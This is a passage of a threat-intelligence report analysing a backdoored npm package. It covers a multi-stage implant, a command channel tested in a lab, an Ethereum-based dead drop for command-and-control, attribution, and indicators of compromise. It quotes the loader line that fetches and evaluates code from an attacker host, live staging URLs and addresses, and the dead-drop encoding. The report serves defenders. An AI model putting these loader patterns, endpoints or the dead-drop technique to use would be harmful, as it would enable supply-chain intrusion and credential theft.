The implant brings its own interpreter. It downloads a genuine Node v20.11.1 from nodejs.org, unpacks it under %APPDATA%, and runs from there. A host with no Node installed is not protected, and removing the npm package or uninstalling Node removes neither the private runtime nor the process already using it.



Figure 9. The implant as Windows sees it, on the detonated guest. The interpreter is the attacker's private copy under %APPDATA%, not the system installation.

It also deletes itself. Its first act on load is to unlink its own file and the two manifests beside it, before any network activity. The laboratory shows the consequence directly: while the process is resident and connected, a directory listing of its own folder returns nothing.



Figure 10. The same host, minutes later. The lock file holds a millisecond epoch; the implant's own directory reports zero files even with hidden and system entries included.

And it installs no persistence of any kind -no scheduled task, run key, startup entry or service, on any of the three platforms. It does not survive a reboot or the process being killed. An operator who wants persistence must establish it afterwards through the command channel. Both of those cut in the defender's favour and are stated plainly for that reason.

What the run changed

Stage 3 survives, and it is the best disk artefact in the chain. The file contains four calls that delete it, which an earlier reading took at face value. All four sit on error paths. After a successful run %APPDATA%\token.cmd is still present 4,039 bytes, naming the stage-4 download URL and the install path in cleartext. A sweep written from the earlier reading would have looked for everything except the one file that is actually there.

The command protocol is also not what the string table suggested. The decoded strings imply a JSON envelope in both directions. On the wire, only the outbound side is JSON. Inbound is raw shell text with no framing at all: one TCP data event is trimmed and executed as one command, so two commands in a single write means the second is silently discarded.

```
{"status":"connected",
 "message":"win32?70d2c190-db89-47ed-9a02-1fd42f5b1bec?DESKTOP-7K2M91?ghappier",
 "timestamp":"2026-09-14T16:33:35.097Z"}
```

Registration, captured in the lab. The machine identifier and hostname are the lab guest's. The timestamp is generated by the victim, and in this laboratory the guest clock ran roughly seven hours fast and drifted between boots, so times inside captured frames should be treated as victim-clock values and not correlated against host or wall-clock times.

```
->  {"action": "ss_exec whoami"}
<-  {"status":"error","message":"Command failed: Command failed:
     {\"action\": \"ss_exec whoami\"}\n'{\"action\":' is not recognized as an
     internal or external command,\r\n","timestamp":"..."}
```

```
->  whoami
<-  {"status":"completed","message":"Output: desktop-7k2m91\\analyst\r\n",
     "timestamp":"2026-09-14T16:33:35.239Z"}
```

Two exchanges with the implant in the lab. The command channel takes raw shell strings; only the responses are JSON. The doubled "Command failed:" is Node's own child_process error text wrapped in the implant's prefix, and is a usable fingerprint.

The same exchange corrects the command set. An earlier reading treated ss_exec as the remote shell verb. It is the opposite: ss_exec launches a process detached and returns nothing at all, while an unprefixed command is the one that runs a shell and returns its output, truncated to two thousand characters. An operator using ss_exec to ask a question gets silence.

What only memory could show

The last finding could not have come from the file or the wire. A memory image of the guest was captured while the implant was resident, and the decoded string table was searched in it.

Of the 333 strings the obfuscator's table yields, 220 also appear verbatim in the shipped file, so finding those proves nothing. The demonstration rests on the other 113. Every one is present in the image carrying a valid V8 string-object header -- the tag the JavaScript engine places in front of a string it has actually built at run time. As a control, no printable run of text in the obfuscated source file carries one. The strings were therefore constructed by execution, not read from disk.

One defect in the transfer is worth recording, because it is a trap for anyone repeating the method. The acquisition tool writes the dump as an ELF core file (the Linux executable format) even though the guest is Windows, and the first sixty-four bytes of that file were lost at the head of the stream. A compression integrity check does not catch this: it validates the stream it was given, not whether the input was complete. The loss is provably confined to those sixty-four bytes, because the dump's own section header names an eleven-byte table at a stated offset, and in the received file the last eleven bytes are exactly that string displaced by exactly sixty-four. Prepending a reconstructed header makes every segment offset correct at once.

What none of this shows. No connection was ever made to the operator. The socket endpoint, the command set and the reconnect behaviour were observed against a local emulator, so nothing here reflects the real controller's tasking, and the operator holds no record of the laboratory host.

Attribution

We shall now show how the operation behind this package was identified, in the order the work actually went. Nothing here was found by looking for an actor. Each step began from an artefact already in hand and asked what else carried it.

The four pivots

Four pivots produced everything that follows. They are listed first because each one determines what the next could reach, and because two of them answer questions the earlier chapters left open.

Pivot	From what	What it reached	What it established
1	The loader's filename, taken from the compromised package	GitHub's commit-message index	Another victim, who had found the same loader and written about removing it
2	That victim's repository	A second payload beside the loader, in the same commit	A component absent from this package: a payload that reads its address from a blockchain
3	Both copies of the loader, compared byte for byte	One build, one token apart	**A shared operator across the two repositories**
4	The wallet read out of that second payload	Published research, and the public ledger	A documented campaign, and an actor attribution this report cites rather than makes

Table 8. The attribution pivots. Pivot 3 is the load-bearing one: without it the blockchain evidence would concern a stranger's repository rather than this operator.

Pivots 1 and 2: Finding the Second Payload

We searched GitHub's commit-message index for the loader's filename, reasoning that another victim might have written about it in their own history. That search returned thirty-two commits across at least seven repositories.

One of them was a developer's remediation commit from 10 September, removing the same loader from his own project. Its message mentioned a second component we had never seen: ***an obfuscated payload appended to postcss.config.mjs***.

That project is an unpublished Next.js application, public on GitHub, but with no npm package and no dependents. The loader reached it inside the owner's own feature commit: the malware had already written to his working copy, and an ordinary git add swept it in alongside sixty-one files of genuine work. The payload was appended to the same line as the file's closing statement, behind five hundred and nine characters of whitespace, so the file still reads as thirteen normal lines in any editor.

The same commit carried the most predatory thing we had seen so far. The malware edited that project's .gitignore: it removed the entries for the developer's environment files, so that his credentials would be committed to a public repository on his next commit, and added its own dropped artefact, so that he would not see it. The theft did not land, no commit in that repository's history contains those files but the intent was unambiguous. The artifact that it hid namely config.bat, is named in the published research on this campaign.

Pivot 3: Co-Relating the two Loaders

We had two copies of the loader: one from the npm package, one from another victim's repository. We compared them byte for byte and found one file, differing in a single token. That is the link and it is noteworthy, because everything on the blockchain came from the victim's repository, not from this package.

Both copies were retrieved and compared. The file in the npm package is 99,683 bytes over 3,508 lines; the file in the victim's repository is 99,680 bytes over 3,508 lines. Of those 3,508 lines, 3,507 are byte-for-byte identical. The single line that differs is the loader line itself, and within it only one token has changed:

```
line 3320, @dforge-core/dforge-mcp 0.2.21
  require('https').get('https://primevector-app924560.vercel.app/api/key?mem=ghappier', ...

line 3320, the victim's repository
  require('https').get('https://primevector-app924560.vercel.app/api/key?mem=g0115', ...
```

The only difference between the two loaders. Same staging host, same request, same evaluation of whatever is returned; the campaign tag alone distinguishes them. The three-byte size difference is the difference between the two tags' lengths.

This is the tag mechanism described earlier, seen from the other side: one endpoint serves any number of carriers, and wiring a new victim to it costs the operator a single word. The two are not similar tools. They are one tool, deployed twice.

What that bridge carries, and what it does not. It establishes that the same operator is behind both repositories, to a standard that does not depend on judgement. It does not make the blockchain payload part of this npm package, that package's implant dials a fixed socket, and the blockchain payload belongs to the other deployment. The evidence that follows is therefore evidence about the operator behind both, and about the activity this loader has been deployed alongside; it is not evidence about the package itself, and the report treats it that way throughout.

Pivot 4: C2 on the Blockchain

The second payload carries no command-and-control address at all. It asks a public blockchain for one. There is no smart contract involved: both the watched account and the address it publishes to hold no code, and the address it publishes to has never sent a transaction and holds nothing. It is twenty fabricated bytes, and those bytes are the message.

```
to     0x c1f79026 c1f79026 68656c6c6f6970626f742121
          --------  --------  ------------------------
          4 bytes   4 bytes   12 bytes
          primary   secondary ASCII marker

          193.247.144.38   193.247.144.38   "helloipbot!!"
```

The dead drop decoded. The recipient address is not a destination; it is the payload.

Field	Value	Why it is that way
value	0 wei	Nothing is transferred, so nothing is lost to an address nobody can spend from
input	0x (empty)	No calldata means no contract call, and nothing for an explorer to decode or flag
gasUsed	21,000	The minimum a transaction can cost -- identical to an ordinary transfer
logs	none	No events emitted, so nothing indexed to search on
status	success	A normal, valid transaction in every respect

Table 9. One dead-drop transaction, read from the chain on 16 September 2026. Every field is that of the plainest transaction Ethereum supports.

At the ***gas price paid each of these costs about twenty cents, so the whole channel has cost its operator on the order of seventy dollars***. The design follows from what it avoids: a deployed contract would sit on the chain as analysable code, calldata would be decoded by every block explorer, and an emitted event would be indexed and searchable. A recipient field on an empty transaction is none of those things, needs no API key to read, and is served free by every public node.

Reading it is the harder half, and the way the implant does it describes the operator's own schedule. It asks a node for the current block height, then walks backwards through recent blocks looking for a transaction sent by the watched account, and decodes the recipient of the most recent match. Three constants govern the walk:

Constant	Value	What it does
BLOCK_MULTIPLE	1000	The search window. Block heights are rounded to this and the walk works within it
NONCE_FANOUT	12	How many of the wallet's recent transactions are considered before giving up
SEARCH_FLOOR	0	No lower bound; the walk may continue to the genesis block

Table 10. Constants governing the dead-drop lookup, recovered by decoding the obfuscator's string table. Each is written in the source as arithmetic on hexadecimal literals rather than as a number.

The operator publishes on exactly the interval the implant searches. Across the wallet's last fourteen configuration transactions the gap between them is 1,000 blocks, with a spread of 999 to 1,001 over more than two days. That is a block counter, not a clock, which is why the wall-clock interval drifts between three hours twenty and three hours twenty-one: the drift is Ethereum's own block-time variance. The consequence for a defender is that the schedule is predictable; the next configuration lands within about a thousand blocks of the last, and can be read as it is published rather than recovered later from an infected host.

The Wallet

That wallet has been already published as an indicator of compromise. Researchers named the retrieval method ***NullReceiver*** a technique, not a campaign. A technique can be shared describing it as a deliberate improvement on earlier methods of hiding infrastructure on a blockchain. The campaign in whose indicators this wallet fits in is PolinRider.

The match is exact across all forty characters of the address, and the payload assembles it from two string literals at runtime so that a search of the file finds neither half. The encoding matches too, and so does the trailing marker. Three elements agree: the wallet address, the encoding scheme and the marker. One does not, and it is recorded below rather than smoothed over.

```
watched wallet   0xa322e5f3d311d3080e6f0121063e9adc2490ef1a

  assembled at runtime in two pieces, to defeat a string search:
    SENDER = ("0xa322E5f3D311D3080e6f0121063e9aDC2490Ef" + '1a').toLowerCase()

resolvers        ethereum-rpc.publicnode.com   eth.drpc.org   1rpc.io/eth
                 eth-mainnet.public.blastapi.io
                 eth.blockscout.com/api?module=account&action=txlist&address=
methods          eth_blockNumber  eth_getBlockByNumber  eth_getTransactionCount
execution        spawn(node, ['-e', <decoded>], {detached:true})   plus an eval path
campaign tag     global.i = "A9-0204-3"
```

The dead-drop resolver, recovered by decoding the payload's string table in an offline container. The wallet is split across two literals in the source and rejoined at runtime; the form shown is the reassembled value.

A public read of the ledger on 16 September 2026 shows the drop is not historical. The wallet has sent three hundred and sixty-two transactions, every one of them empty, and they resolve into four command-and-control configurations in sequence:

Primary C2	Secondary C2	Marker	Observed window (UTC)
193.247.144.38	193.247.144.38	helloipbot!!	2026-09-04 00:49 to 2026-09-15 06:13, 70 transactions
166.88.73.46	166.88.73.46	helloipbot!!	2026-08-30 18:51 to 2026-09-03 13:13, 28 transactions

Table 11. Command and control configurations read from the dead drop, decoded from the transaction recipient field. Reproduce by opening the wallet address in any block explorer and reading the recipient of each outbound transaction, or directly via eth.blockscout.com/api?module=account&action=txlist&address=0xa322e5f3d311d3080e6f0121063e9adc2490ef1a. The current configuration was published five days before this package was compromised. The earlier one sits in the same /16 as an address already published as an indicator for this campaign.

The first of those, 166.88.134.62, is the exact address the published research prints. That is the strongest single confirmation of wallet identity available, and it is reached by reading the chain rather than by trusting anyone.

A dead-drop wallet is not a cosmetic indicator. It is control. Whoever holds the private key directs every implant watching it. A different actor who copied the wallet into their own malware would be handing control of that malware to the original operator and receiving nothing in return. That is what separates

this from the resemblance discussed below, where every matched element was public, free to copy, and cost an imitator nothing.

Link	Strength	Basis
The second payload watches this wallet	**Certain**	Read out of the sample
The same operator deployed the loader into both repositories	**Certain**	One build, differing in one token, across 3,508 lines
The wallet belongs to the PolinRider indicator set	**Certain**	Published indicator; the live drop matches the documented encoding and marker
The wallet is under active operator control	**Certain**	362 transactions, four rotations, last seen the day before publication
The npm carrier is part of that campaign	**Not claimed**	The blockchain payload sits beside the loader in one repository, not inside this package. Shared operator is what the bytes establish
PolinRider is a DPRK operation	**Cited, not ours**	Attributed by the researchers who documented it; this report adopts it by citation

Table 12. The attribution ladder. The first four rows are this report's own findings. The last two are the boundary: one is a claim declined, the other a claim inherited.

A second npm operation running in the same period also reads its infrastructure from Ethereum, and the two are easy to confuse.

	This activity (PolinRider indicators, NullReceiver retrieval)	The other Ethereum-using npm worm
Where the address is read	**The recipient field of an empty transaction**	A deployed smart contract, queried by a contract call
Wallet or contract	`0xa322e5f3…ef1a`	`a different address entirely`
Encoding	Four bytes read as an IPv4 address, plus an ASCII marker	An ABI-encoded array of strings
Loader filename	`indexe.cjs`	`setup.mjs`
Files written into victims	Repository root, and a build configuration file	Editor and assistant configuration directories

Table 13. Two contemporaneous campaigns, both using Ethereum to publish infrastructure, distinguished on every element that can be checked. Nothing in this report should be read as evidence about the second.

The reason to record this is that usually, both would be described, loosely, as npm malware hiding its command and control on a blockchain, and a defender reading that description could reasonably apply one set of indicators to the other. They do not transfer: the wallet is different, the retrieval method is different, and a detection built for one will not see the other.

A check that did not confirm

The dead-drop wallet and the two addresses that funded it were looked up in a commercial blockchain-intelligence platform, the kind that maintains its own attribution labelling. If that platform associated any of the three with North Korea, this report would be making its own attribution rather than adopting someone else's.

It does not. The wallet resolves to an unnamed cluster of four addresses across four chains, rated medium risk, with no actor label, no sanctions flag and no jurisdiction. The rating it carries comes from counterparty exposure rather than from any identification of the holder: roughly a third of the inflow arrived from a high-risk exchange and the rest from a peer-to-peer marketplace.

The funding chain did resolve one step further than public data allowed. Both funding addresses are unlabelled on public explorers; the platform names the first of them as FixedFloat, a swap service that performs no customer identification, and rates it at its highest risk tier. The second remains unlabelled there too. Sending an operational wallet its first funds through such a service is a deliberate break in the trail, and it is the sort of thing a state-linked operator does. It is also what ransomware affiliates, fraudsters and privacy-minded individuals do. It raises suspicion; it identifies nobody..

A Resemblance Worth Chasing

Stages 2 to 4 do not look purpose-built. They look like a toolkit, and one published toolkit resembles them. This section sets out the resemblance and then sets out why it does not carry an attribution.

In February and March 2026 several researchers documented StegaBin, a campaign distributing a credential stealer and remote access trojan through 26 typosquatted npm packages, whose loader resolved its infrastructure by decoding hostnames hidden in Pastebin pastes. That campaign is attributed by its authors to the DPRK-aligned cluster tracked as Contagious Interview or FAMOUS CHOLLIMA. Five elements of the chain analysed here line up against it.

Element	StegaBin, as published	Observed here
Final payload filename	`parser.js`	`parser.js (POSIX); loader.js on Windows`
Staging domains	`primevector-app920, brightlaunch-ext742, cleverstack-*`	`primevector-app924560, brightlaunch-ext75642`
Stage-3 fetch path	`/api/token[l|m|w]`	`/api/tokenl, /api/tokenw`
Platform letters	`l / m / w`	`/api/l, /api/m, /api/w`
Install directories	`$HOME/.config, $HOME/Library, %APPDATA%`	`same three`

Table 14. Comparison against published StegaBin indicators. The staging hostnames are different deployments within the same naming scheme, not the same hosts.

Why this is a lead and not an attribution

The elements above are not equally informative, and read honestly most of them are weak.

The install directories on their own carry almost nothing: $HOME/.config, $HOME/Library and %APPDATA% are the canonical per-platform configuration paths and any competent cross-platform dropper writes to them. Nor does the payload filename carry what was claimed for it. Measured against CloudSEK's own npm monitoring corpus as it stood on 15 September 2026, parser.js appears zero times as a dropped second stage in 20,420 dropped-file findings, in 42.7 million detonation events and in 6,323 reviews that concluded a package was malicious, while some 5,752 distinct packages touch a legitimate file of that name in nine days; on public code hosting it names roughly two hundred thousand files. Those are counts over a fixed snapshot of that corpus rather than rates, and the review population in particular was closed at 04:00 UTC on the day of measurement, so a reader repeating the query later should expect the same figure rather than a larger one. The finding they support is a negative no occurrence in any of them which a later-growing corpus can overturn only by producing an occurrence. It is background noise. There is even precedent for the choice being deliberate rather than coincidental: a 2025 campaign dropped loader.js specifically because a legitimate package of that name has tens of millions of downloads, and this chain's own Windows payload is called loader.js. What does carry weight is the staging sequence, which an earlier draft abstracted into directories and thereby discarded: the Linux stage downloads tokenlinux.npl, renames it to tokenlinux.sh and runs it under nohup, and the Windows stage downloads a file called parse and renames it to token.cmd. Those are not conventions anyone arrives at independently; tokenlinux.sh names a single file in all of public code hosting. The platform letters l, m and w are the obvious abbreviation for the three operating systems. The endpoint naming is more distinctive but remains the sort of thing two developers could arrive at separately. That leaves the payload filename and the staging-domain family doing the real work.

Both of those are published indicators, and they have been public for six months. The StegaBin research appeared between 26 February and 12 March 2026; the intrusion described in this report took place on 9 September. Vercel subdomains are free and registered first-come, so any reader of that research could deploy a lookalike host under the same base word, and the payload filename is stated in the same public write-ups. The strongest points of similarity are also the cheapest to imitate deliberately.

That matters more than usual here, because this operator has already been observed constructing a false trail. The commit that staged the payload carries a third party's verified email address in its committer field. As set out earlier, that address is the one configured in the working copy that replayed the commit, and whether it was set there in order to implicate that person is not something this analysis can settle; the author date, which an earlier draft treated as a second deception, is simply the genuine commit's own date carried across by the replay. An actor who plants a false identity at the commit level is exactly the actor who might also reproduce published indicators, and deliberate mimicry cannot be ruled out on the evidence available.

What points away from a shared origin

Three observations sit against the resemblance. The command and control endpoint here is 193.26.115.131 on port 15152; the published campaign used a different address on ports 1244, 1245 and 1247, a port convention long associated with that malware family and one this sample does not follow. The published campaign's stage-three endpoints are documented only in part, and this infrastructure serves two. And the loader is differently placed and differently named: vendor/scrypt-js/version.js there, skills/indexe.cjs here, with no steganography anywhere in this chain.

The delivery differs completely as well. StegaBin persuaded developers to install typosquatted packages. This intrusion took a maintainer account and shipped from a package developers already trusted. Whether that represents the same operator changing method or a different operator reusing a documented toolkit is precisely the question the evidence does not answer.

Impact

The exposure is small and the infrastructure is not, and conflating the two would misstate this campaign in either direction. One version was current for 35 minutes and 38 seconds on a package averaging roughly one release every few days since May. An earlier draft said the registry serves no download figures for withdrawn versions. It does: the per-version endpoint reports 115 fetches of 0.2.21 and 145 of the failed 0.2.20 for the week containing the incident, against 156 for the clean 0.2.22 and 59 for the preceding release, and the package's daily curve records 444 downloads on 9 September against a thirty-day pre-incident median of eighteen. Those are registry fetches and not installations. Mirrors, continuous-integration caches and security tooling are inside the number -- this analysis among them -- and the never-functional 0.2.20 outdrew the backdoored 0.2.21, which is the signature of automated fetchers rather than of developers. Read 115 as an upper bound on the endpoints that pulled the artefact, not as a count of compromised hosts, and note that npm's per-version window is a rolling seven days: after about 17 September 2026 the figure is no longer retrievable from the registry at all. Beyond that, execution additionally required the MCP server to be launched rather than merely installed. A reader should treat the victim count as small and unknown rather than as large, and any figure presented as a census would be invented.

The delivery chain is the measurable part, and the measurement is that it still works. Each of the nine endpoints in Table 15 was requested once on 14 September 2026 and each returned content. None of it is tied to @dforge-core: the stage-1 URL takes the campaign tag as a query parameter, so the same endpoint serves a different tag for a different carrier without redeployment. Wiring a second compromised publisher to this chain requires the operator to change one string in one line.



Figure 11. The package as the registry presents it today. The current release carries a provenance tick, and the version count reflects the two withdrawn releases being absent from the list while remaining in the registry's own time index.

The loader's filename is distinctive enough to be searched for directly, and GitHub's code index answers the question. ***Fifty-six repositories hold a file called indexe.cjs***. Every one carries the campaign marker in the same place on the same line, so there are no coincidental matches at all in that set.

The extension is doing real work in that sentence. The near-identical name indexe.js is dominated by an unrelated database project's test file and returns mostly innocent results, so a rule written against the stem rather than the full filename would produce false positives immediately.

Fifty-six is the size of the query, not the size of the campaign. Code search omits forks unless asked for them, and a targeted pass finds eight more infected repositories that way, none of them in the fifty-six and two belonging to accounts that appear nowhere else. Searching for the staging hostname rather than the filename exposes something further: a second build of the same loader, named indexe.js and about two hundred bytes larger, in nine more files -- one of them in a repository holding no .cjs copy at all, and therefore invisible to every count above. Taken together the campaign as GitHub can currently see it is sixty-five repositories, seventy-three files and twenty-two account owners.

All of those figures remain a floor. They exclude private repositories, copies no longer at the tip of a default branch, and anything not indexed for code search, and each of the three searches that produced them found repositories the others missed.

Campaign tag	Repositories	Observation
`g1028`	`22 / 28`	Largest group
`g0115`	`20 / 28`	The tag on the payload that carries the blockchain dead drop
`g213515`	`9 / 10`	

Campaign tag	Repositories	Observation
ghappier	5 / 7	The tag in the npm package analysed in this report

Table 13. Campaign tags. The first figure counts the fifty-six unforked repositories holding indexe.cjs; the second counts all seventy-three copies located, including forks and a second build described below. Within each build, file sizes differ only by the length of the tag.

No owner carries more than one tag, but the tag does not name the owner. The partition is exact and every repository belonging to a given account carries the same marker, across all nineteen accounts and that is not chance. But the mapping runs the other way from what an earlier draft claimed: four tags cover nineteen accounts, so g0115 alone spans eight of them. A tag therefore narrows a copy to a group, not to a person.

What the tag tracks is time. Sorting the accounts by the moment their repositories actually received the loader, each tag occupies a contiguous block: one pair of tags runs through 5 to 10 September, apparently in parallel, a third takes over from the 9th, and the fourth accounts for a single burst on the 15th. Within a block the writes are machine-fast one account lost nine repositories in twenty-three seconds, another seven in two and a half minutes, another four in twelve seconds. The tag is best read as the operator's own batch or worker identifier, rotated as the campaign proceeded.

There is a direct proof that it cannot identify an individual. The tag in the npm package examined in this report is the same tag carried by a second account belonging to an unrelated developer in a different country, whose repositories were written to six days later. One label, two victims with nothing in common. Eight accounts own forty-five of the fifty-six repositories, which is still what credential theft looks like from the outside -- one credential, every project it can reach but the tag is not how those accounts are distinguished.

The dates on those commits suggest the campaign ran for years, the oldest reaching back to February 2018. They are backdated, but establishing that requires care, and an earlier draft of this report got the reasoning wrong in a way worth setting out because the mistake is a common one.

As of **15 September 2026**, there is **no public security advisory or warning** for this package in OSV, GitHub Security Advisories, npm audit, the vendor's website, or public security research. No versions are deprecated or flagged.

However, this **does not mean the campaign is unknown**. Research has documented the broader campaign and its technique, but **this specific package has not been publicly connected to it**. The only clear acknowledgement is a Git commit message stating “revert: remove backdoored skills/indexe.cjs and restore manual publishing”.

Key points:

- The package was compromised, but the compromise is **not surfaced through normal consumer-facing security channels**.
- GitHub's affected-package advisory endpoint was found to be unreliable—it returns empty results even for advisories known to exist. The researchers therefore relied on **OSV, npm's audit endpoint, and a controlled review of 27,492 malware advisories** published around the incident.
- The repository has **no security advisory, release note, or issue** documenting the compromise. Its changelog also does not mention the affected versions.
- The vendor's security page and blog contain **no mention of the package or incident**.
- **Version 0.2.21 remains particularly concerning** because consumers have no normal mechanism to discover that it was compromised.
- A related campaign involving ten typosquatting packages was fully retired: packages were unpublished, advisories were issued, and their collectors were taken down.
- This campaign is different because it involved a **legitimate package with an apparently valid provenance**, rather than obviously malicious/typosquatted package names.
- This exposes a **structural detection gap**: automated advisory systems are good at identifying fabricated malicious packages, but can miss **legitimate packages whose trusted release channel is compromised**.

Bottom line: The absence of an advisory should **not be interpreted as evidence that the package is safe**. The package appears to be part of a known campaign, but that connection is effectively invisible to someone evaluating the dependency through standard advisory and package-management tooling.

Recommendations

Immediate

1. Sweep for the artefacts in Table 18, prioritising the two marker files and the private Node runtime. The implant file itself is deleted at startup and its absence is not evidence of anything.
2. Block the two attacker hostnames named in Table 16 -- primevector-app924560.vercel.app and brightlaunch-ext75642.vercel.app -- and block outbound TCP to 193.26.115.131:15152. Block the hostnames, not Vercel's platform or its shared edge addresses, which serve millions of unrelated applications. Do not block nodejs.org: it appears in Table 16 only so that a download from it can be alerted on in sequence with the steps around it.
3. Treat a lockfile or CI cache pinning 0.2.21 as an indicator in its own right, independent of whether artefacts are found.

Detection engineering

4. Alert on the first sequence in Table 21. A module-load-time outbound request followed by a shell pipe to sh is rare enough in build environments to warrant a page.
5. Alert on a Node runtime being downloaded and then executed from a user directory. This defeats the bring-your-own-runtime step without blocking nodejs.org.
6. Diff package.json between adjacent versions of every dependency you pin, and treat a change to main or bin as a review trigger. In this case all three entry points moved in one release, which is visible without reading a line of code.
7. Sweep any internal package corpus for the loader header string in Table 19.
8. Alert on a change to a release workflow's trigger block. Three lines took this project from manual-dispatch-only to firing on every push to main. They made it trigger, not publish: the commit that made the publish actually succeed came fourteen minutes later, and by then the detectable event had already happened. That is the argument for watching the trigger block rather than the publish step, and it is a one-line detection in any CI policy engine.
9. Do not treat npm provenance as a statement about source integrity. Version 0.2.21 was published by GitHub Actions with a valid SLSA attestation, and would pass npm audit signatures. Provenance records where an artefact was built, not whether what was built was honest.

Conclusion

The first reading of this incident, that a publisher was compromised, shipped one bad version and pulled it within the hour, is correct in every particular. It is also the reading under which nothing further needs doing, and that is where it fails. What was actually compromised was a maintainer account, and what the attacker did with it in 82 minutes was to convert a deliberately manual release process into an automatic one, then push a commit. The package was the last step, not the operation.

Two things survived the response. The delivery chain did, in full, and was still answering five days later; none of it is tied to this package, and wiring it to a second compromised publisher requires changing one string. And so did the misattribution, in the sense that anyone reading the commit log without checking push actors comes away with the wrong name. An earlier draft of this report did exactly that. The attribution section revises what that name means: it is not a flag the operator planted but a credential the operator stole, which makes the wrong name a second person's injury rather than a piece of tradecraft.

The practical consequence is a change in what counts as closure. A withdrawn version is an artefact removed from a registry. It is not the retirement of the capability that version pointed at, and it says nothing about how the account that published it was obtained. That last question is not answered here

either, but it is no longer blank: the campaign this operation belongs to is documented as taking developers' cached credentials from infected machines and pushing with them, which fits what the repository shows and is the most plausible route on the evidence available. It remains an inference, and the entry point on this particular maintainer's machine was not established.

Indicators of Compromise

File hashes

Artefact	SHA-256
Carrier tarball 0.2.21	e9045b27557e5019fe44a1d5ae4b77714faa65fef883127ca7db85b7970afab4
skills/indexe.cjs	f2c8234c00b1f5b0b135534bf51207dc0239647890b73531996d60c90cf9e866
package.json 0.2.21	a85c6955ad689aa89eaae8c8b30723935274f069aed044489cfd922b46bcf2f7
Stage 1 dispatcher	c8337c06f4d3e79dd65aca4058b7a32c763468cdc7df76a849c55395d703a40d
Stage 2 Linux	50ed4f880d6d38ee26f410fc6bd9b734e4857b3a94ee6ef152e7e1158bd83153
Stage 2 macOS	bb36446376455c96b574567b7ee849657d8fe15ace897f460ad3fb867be9aafc
Stage 2 Windows	cc8502cb19ef30fe2ce68306e800bbb343e5da6799a57a91d1ebb4cb027029a5
Stage 3 POSIX	ce96b204c0371df053cc6fcfdd9ead0fc0fbbbb23053dad01e2e6d4ef16e4d92
Stage 3 Windows	ab851915d7b35e1b64e315f07ee7232d1d49a2349a5686f35dc8fc9bf9c2809e
Stage 4 implant	63b62c6d9c35fed72a518189f63889d7aee9aed2512754b8ec264807c6970592
Stage 4 manifest	a434ca08be20d88f4e731bd1085651f7de8e053dbd9966583114c83cb8092c99
dist/server.js (CLEAN, all 4 versions)	9247e4cc3880342dded4ec9d1499ee79c8a2422b4d92adae09e918e8fab94809

Table 14. The final row is included so a responder can confirm the product file was not modified, and must not be treated as an indicator. Hashes for stages 1 to 4 are of the bytes served on 2026-09-14 and are the weakest rows here: those stages are generated server-side and can be varied at no cost.

URLs

URL	Role	Status
https://primevector-app924560.vercel.app/api/key?mem=ghappier	Stage 1	Live
http://brightlaunch-ext75642.vercel.app/api/l	Stage 2 Linux	Live
http://brightlaunch-ext75642.vercel.app/api/m	Stage 2 macOS	Live
http://brightlaunch-ext75642.vercel.app/api/w	Stage 2 Windows	Live
http://brightlaunch-ext75642.vercel.app/api/tokenl	Stage 3 POSIX	Live
http://brightlaunch-ext75642.vercel.app/api/tokenw	Stage 3 Windows	Live
http://brightlaunch-ext75642.vercel.app/api/g	Stage 4 payload	Live

URL	Role	Status
http://brightlaunch-ext75642.vercel.app/api/package	Stage 4 manifest	Live
http://brightlaunch-ext75642.vercel.app/api/handle	C2 side channel	Live

Table 15. Status verified by one request to each endpoint on 2026-09-14; all returned HTTP 200. The tokenl, tokenw and g endpoints require an st query parameter, held in the campaign evidence set and omitted here for width.

Domains

Domain	Role	Note
primevector-app924560.vercel.app	Stage 1	Attacker-controlled application
brightlaunch-ext75642.vercel.app	Stages 2 to 4, C2	Attacker-controlled application
nodejs.org	Runtime source	Legitimate. Do not block. Alert only in sequence

Table 16. Both attacker hostnames are applications on Vercel, a legitimate hosting platform. Block the hostnames. Blocking the platform or its shared edge addresses will cause unrelated outages and will not survive a redeployment under a new name.

IP addresses

Address	Port	Note
193.26.115.131	15152	Stage-4 socket C2. Decoded statically, then observed live in an isolated lab. Port overridable via SERVER_PORT

Table 17. Vercel edge addresses serving the two hostnames are deliberately excluded: they are shared infrastructure, they identify the platform rather than the operator, and treating them as indicators produces false associations with unrelated packages.

Host artefacts

Path or filename	Note
%APPDATA%\VSCODE\loader.js	Stage-4 implant, Windows. DELETED BY THE IMPLANT AT STARTUP -- expect it to be absent
$HOME/.npm/.vscode/parser.js	Stage-4 implant, Linux and macOS. Also self-deleted
%APPDATA%\VSCODE\node_modules\	Dependency tree npm installed for the implant. Survives, because only the manifests are deleted
%APPDATA%\nodejs\PFiles64\nodejs\	Private Node runtime extracted by stage 3. Survives
$HOME/.npm/.vscode/package.json	Manifest, name field is tokenapp. Self-deleted
$TMPDIR/vscode-ext.lock	Liveness heartbeat. Holds a millisecond epoch, rewritten every 10 min. A value under 20 min old means an implant is live. Enforces no locking
$TMPDIR/.git-checker	Campaign marker, contents are the string ghappier
$HOME/.config/tokenlinux.sh	Stage 2, Linux. Deletes itself on success
$HOME/Library/tokenlinux.sh	Stage 2, macOS. Deletes itself on success
%APPDATA%\token.cmd	STAGE 3, and it SURVIVES. All four of its self-deletes are on error paths; the success path leaves it. 4,039 bytes, containing the stage-4 download URL and install path in cleartext. Best single disk artefact in the chain
$HOME/Downloads/node-v20.11.1-*	Runtime dropped by stage 3, may persist

Table 18. Sweep for the survivors, not for the payload. Stage 4 deletes itself and its manifests at startup, so on a host that ran this chain the implant file is expected to be missing while the process is still live. Stage 3 does NOT delete itself on success — an earlier version of this table said otherwise — and %APPDATA%\token.cmd is the most useful thing on the disk. Also persistent: the lock file, the campaign marker, the private Node runtime and the node_modules tree. Scope marker sweeps to the Node temporary directory rather than %TEMP%: with TEMP unset, as under a service account, Node resolves to C:\Windows\Temp.

Content signatures

String or structure	What it identifies
`ghappier`	Campaign tag, set by the operator per deployment. Strong confirmation, weak as a hunting term -- see the naming note under Stage 1
`Isolated Node preinstall computational kernel`	Loader file header. Unobfuscated, in shipped source
`vscode-ext.lock`	Implant lock filename
`ss_exec`	Detached, output-suppressed execution branch. Not the shell verb: plain commands need no prefix
`tokenlinux.npl`	Stage-2 download filename before rename

Table 19. These survive a rebuild of the hosted stages, which the hashes in Table 14 do not. The loader header is the most useful for sweeping a package corpus: distinctive, unobfuscated, and present in shipped source rather than in served content.

Campaign-level indicators

Everything above belongs to the carrier analysed in this report. The indicators below belong to the wider campaign and were established in the attribution chapter. They are listed separately because they are not evidence about this npm package, and a responder should not treat a hit on them as a hit on it.

Indicator	Value	Note
